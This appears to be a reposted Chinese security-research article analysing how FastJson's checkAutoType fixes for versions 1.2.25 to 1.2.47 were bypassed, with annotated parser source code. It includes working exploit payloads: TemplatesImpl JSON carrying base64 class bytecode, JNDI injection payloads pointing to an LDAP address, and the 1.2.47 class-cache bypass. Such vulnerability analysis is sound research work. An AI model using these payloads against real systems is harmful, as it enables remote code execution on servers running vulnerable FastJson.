前言
FastJson的后续版本修复以及绕过 1.2.25=< version <=1.2.47
漏洞产生原因
总结一下1.2.24的漏洞产生原因,type字段的特性会加载任意类(反序列化入口点),反射调用特定的setter和getter(反序列化链入口),进而从这些链子比如TemplatesImpl走到加载字节码(反序列化的触发payload)
1.2.25-1.2.41
修复
对比两个jar包的不同,在DefaultJSONParser,去掉了TypeUtils.loadClass 直接加载任意类,引入了checkAutoType()
checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数 AutoTypeSupport
参考官方wiki
默认 AutoTypeSupport = False(开启白名单)
想要修改则在代码中修改
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
-
开启白名单的情况即AutoTypeSupport = False
//传入的expectClass = null
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
/*AutoTypeSupport = True情况,一会分析*/
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName); //从一些常见类中寻找,返回null
}
//这种情况为:启用白名单
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i]; //获取黑名单
if (className.startsWith(deny)) { //匹配黑名单,直接报错退出
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i]; //获取白名单
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader); //匹配白名单后进行loadclass
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
/*一些代码*/
if (!autoTypeSupport) { //没有匹配到黑、白名单 抛出错误
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
可见AutoTypeSupport = False时需要 同时 先不匹配黑名单、再匹配白名单,才可以进行loadClass,不然最后也会抛出错误
内置默认黑名单有21个,第二个com.sun.导致了TemplateImpl链子的不能正常使用,白名单也为空,所以根本无法利用
-
关闭白名单的情况即AutoTypeSupport = True
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
//
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i]; //获取白名单,匹配到白名单,直接loadClass
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i]; //获取黑名单,匹配到直接退出
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
/*依旧是从map中寻找常见类,不影响*/
if (autoTypeSupport || expectClass != null) {
//重点,由于autoTypeSupport为开启,对于上面不匹配白、黑名单的,这里直接进行loadClass
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
////对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
//返回load之后的class
return clazz;
}
这里就能感觉到存在一些问题了,最后对于不满足黑白名单判断的要进行loadClass,绕过的方式也就存在于loadClass
绕过
利用条件:开启AutoTypeSupport,跟一下 TypeUtils.loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
//className 以'['开头
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//className 以'L'开头 以';'结尾,去掉开头结尾,完成bypass
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
呼之欲出, 只需要 开头加上 L , 结尾加上 ; ,但是其实 [ 是可以绕过的
所以poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.HashMap;
public class fastjsonDemo {
public static void main(String[] args) {
String payload = "{"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":["yv66vgAAADQAJgo..."],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}";
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
JNDI注入poc
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
1.2.42
修复
两点
-
修改明文黑名单为黑名单的hash
-
对于传入的类名,删除开头
L
和结尾的;
用的hash确实能混淆我这种小白
跟进 checkAutoType 去看看,对第一个字符和最后一个字符计算hash,然后判断是L; 删掉
绕过
利用条件:开启AutoTypeSupport
双写L; 就行了
1.2.43
修复
两层判断,如果双写了L; 直接抛错退出
绕过
然后目光就转向了之前的 ‘[‘ 目前我只找到了利用方式,至于细节代码部分,能力有限,挖个坑
利用条件: 需要开启autotype
poc利用了 [ 和 [{ ,同样的可以绕过以上版本
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.HashMap;
public class fastjsonDemo {
public static void main(String[] args) {
String payload = "{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;"[{,"_bytecodes":["yv66vgAAADQAJgo..."],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}";
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
在1.2.44版本修复了[ 绕过黑名单的问题,做法是,以 [ 开头直接抛出异常
1.2.45
这个版本爆了一个绕过黑名单,利用条件: mybatis的3.x版本且<3.5.0、需要开启autotype
poc
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
1.2.47 - 通杀
利用条件
1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
1.2.33 <= fastjson <= 1.2.47
回到 checkAutoType 这里
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//1.typeName为空情况
//2.长度判断
//3.替换 $ 为 .
Class<?> clazz = null;
//4.hash方式对L|;|[ 进行判断
//5.autoTypeSupport为true(白名单关闭情况下),对比 acceptHashCodes 加载白名单,匹配到直接return
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//对比denyHashCodes匹配到黑名单
//且 从TypeUtils.mappings中找不到这个类,抛出错误
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//6.尝试从TypeUtils.mappings中获取这个类名的类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//7.尝试在 deserializers 中获取这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//8.如果通过上面两步,获取到了clazz,直接走到return clazz;
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
//9.autoTypeSupport为false(默认白名单开启的情况)
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//匹配黑名单直接退出
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//白名单默认为空,走不到loadClass
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//走不到这里
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//10.通过上面不匹配黑名单,白名单为空后,进行loadClass
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
/*其他一些代码*/
return clazz;
}
-
白名单关闭时,匹配白名单后直接加载,抛出异常时需要满足两个条件1.黑名单 2.TypeUtils.getClassFromMapping找不到该类
-
白名单开启时,首先检查黑名单,我们这里直接被退出,无法利用
-
看了上面两种情况后,把目光转向第6 .7 .8步,如果从6.7步直接找到了我们需要的类,直接就return,不就可以绕过下面的黑名单,所以现在需要跟进 TypeUtils.getClassFromMapping 中和 deserializers.loadClass 看看到底进行了什么操作
deserializers.findClass
com.alibaba.fastjson.parser.ParserConfig private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>()
可以看到deserializers为一个hashmap,因为当前操作为findClass,取数据操作,搜索一下哪些函数进行了赋值,发现有三个
-
initDeserializers()
-
getDeserializer()
-
putDeserializer()
initDeserializers():在构造函数中调用,传入一些没有危害的类
getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
putDeserializer():被前两个函数调用,我们无法控制入参
所以deserializers 的值不可控,都是写死的,没有利用可能
这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度
TypeUtils.mappings
跟进是一个从mappings的get操作,mappings为 ConcurrentMap 对象
com.alibaba.fastjson.util.TypeUtils private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(16, 0.75f, 1)
老样子看看赋值的函数,搜索mappings.put,发现存在两个函数
-
addBaseClassMappings()
-
loadClass()
addBaseClassMappings,写死
而且调用处,一处在static静态代码块
一处 clearClassMapping()
完全不可控,转向 loadClass(),这个函数文章一开始跟过,就是利用L;绕过,这次完整分析一下
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//判断是否为空
if(className == null || className.length() == 0){
return null;
}
//尝试从mappings中获取
Class<?> clazz = mappings.get(className);
//不为空直接返回
if(clazz != null){
return clazz;
}
//判断是否以[开头
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//判断是否以L开头、;结尾
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
//如果传入的classLoader不为空
if(classLoader != null){
//调用传入的类加载器进行加载
clazz = classLoader.loadClass(className);
//判断传入的cache
if (cache) {
//为True时,将className传入mappings(这里就存在利用点了)
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
//这里就比较相似了
//如果上面失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类
//也需要 cache 为 true 才能写入 mappings 中
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
//依旧失败利用Class.forName,加载类,放入到mappings
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
也就是说如果可控loadClass()的参数,就很有可能将类名传入到mappings,就可以在黑名单之前return
搜一下Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)
用法
跟一下TypeUtils 的 loadClass
就在上方Class<?> loadClass(String className, ClassLoader classLoader)
添加了cache参数为true
搜一下两个参数的loadClass在何处调用
这里就关注
com.alibaba.fastjson.serializer.MiscCodec#deserialze
摘取部分代码
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
//4. clazz类型等于InetSocketAddress.class的处理。
//我们需要的clazz必须为Class.class,不进入
if (clazz == InetSocketAddress.class) {
...
}
Object objVal;
//3. 下面这段赋值objVal这个值
//此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
//当parser.resolveStatus的值为 TypeNameRedirect
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
//lexer为json串的下一处解析点的相关数据
//如果下一处的类型为string
if (lexer.token() == JSONToken.LITERAL_STRING) {
//判断解析的下一处的值是否为val,如果不是val,报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
//移动lexer到下一个解析点
//举例:"val":(移动到此处->)"xxx"
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
//此处获取下一个解析点的值"xxx"赋值到objVal
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}
String strVal;
//2. 可以看到strVal是由objVal赋值,继续往上看
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
//不必进入的分支
}
if (strVal == null || strVal.length() == 0) {
return null;
}
//省略诸多对于clazz类型判定的不同分支
//1. 可以得知,我们的clazz必须为Class.class类型
if (clazz == Class.class) {
//strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
整个逻辑大概就是 strVal->objVal->parser.parse() 也就是说json的格式为
{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}
流程跟进
JSON.parseObject()
调用 DefaultJSONParser
对 JSON 进行解析。
进入checkAutoType 进行加载类合法性,由于 deserializers 在初始化时将 Class.class
进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。
回到 DefaultJSONParser.parseObject()
设置 resolveStatus 为 TypeNameRedirect
DefaultJSONParser.parseObject()
根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze()
处理。
因为上面的this.set操作,进入if
成功解析赋值给objVal
继续赋值给strVal
成功走到loadClass,在这里进行了缓存,写入到mappings
进入 设置cache为True
写入缓存mappings中
一路返回,接下来轮到恶意类了,进入checkAutoType 检查
直接功获取到恶意类
然后就是发序列化触发了
exp
{"a":{"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},
"b":{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW"],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}}
参考
JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)
Fastjson 反序列化漏洞 · 攻击Java Web应用
原文始发于微信公众号(Arr3stY0u):FastJson 1.2.25~1.2.47 修复及绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论